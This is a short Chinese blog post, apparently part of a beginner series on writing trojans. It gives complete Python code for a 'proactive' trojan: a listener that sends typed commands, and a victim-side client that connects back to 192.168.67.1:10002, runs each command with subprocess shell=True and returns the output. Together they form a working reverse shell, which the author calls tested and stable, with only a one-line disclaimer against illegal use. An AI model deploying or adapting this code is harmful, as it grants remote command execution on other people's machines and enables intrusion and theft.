前兩篇文章的木馬太被動,今天是經過socket和os來進行主動木馬編寫shell
有些s13,我真的搞不懂拿一些沒過腦子的代碼就放到網上去害人,騙流量,還某知名安全企業學院寫的,真的服。個人代碼本身運行過,很穩,各位慎重,勿作非法之事安全
由於是木馬入門,因此前幾篇比較簡單,也只是一個模塊搭建,後期我會逐步搭建框架,一週我也只會出兩三篇來記錄本身的編寫歷程,因此大佬們親噴框架
首先固然是控制端socket
1 from socket import * 2 import os 3 import time 4 import subprocess 5 6 target = "192.168.67.1" 7 port = 10002 8 addr = (target,port) 9 buff = 1024 10 tcpSock = socket(AF_INET, SOCK_STREAM) 11 tcpSock.bind(addr) 12 tcpSock.listen(5) 13 14 while True: 15 conn,addr=tcpSock.accept() 16 while True: 17 data = input("input the command:\n") 18 conn.send(bytes(data,encoding="utf-8")) 19 getdata = str(conn.recv(buff),encoding="utf-8") 20 if not getdata: 21 break 22 print(getdata) 23 tcpSock.close()
再就是被控端tcp
1 import socket 2 import os 3 import subprocess 4 target = "192.168.67.1" 5 port = 10002 6 addr = (target,port) 7 buff = 1024 8 9 cli = socket.socket(socket.AF_INET,socket.SOCK_STREAM) 10 cli.connect(addr) 11 12 while True: 13 data = str(cli.recv(buff),encoding="utf-8") 14 if not data: 15 break 16 print(data) 17 f =subprocess.Popen(data,shell=True, stdout=subprocess.PIPE).stdout 18 redata = bytes(str(f.read()),encoding="utf-8") 19 cli.sendall(redata) 20 cli.close()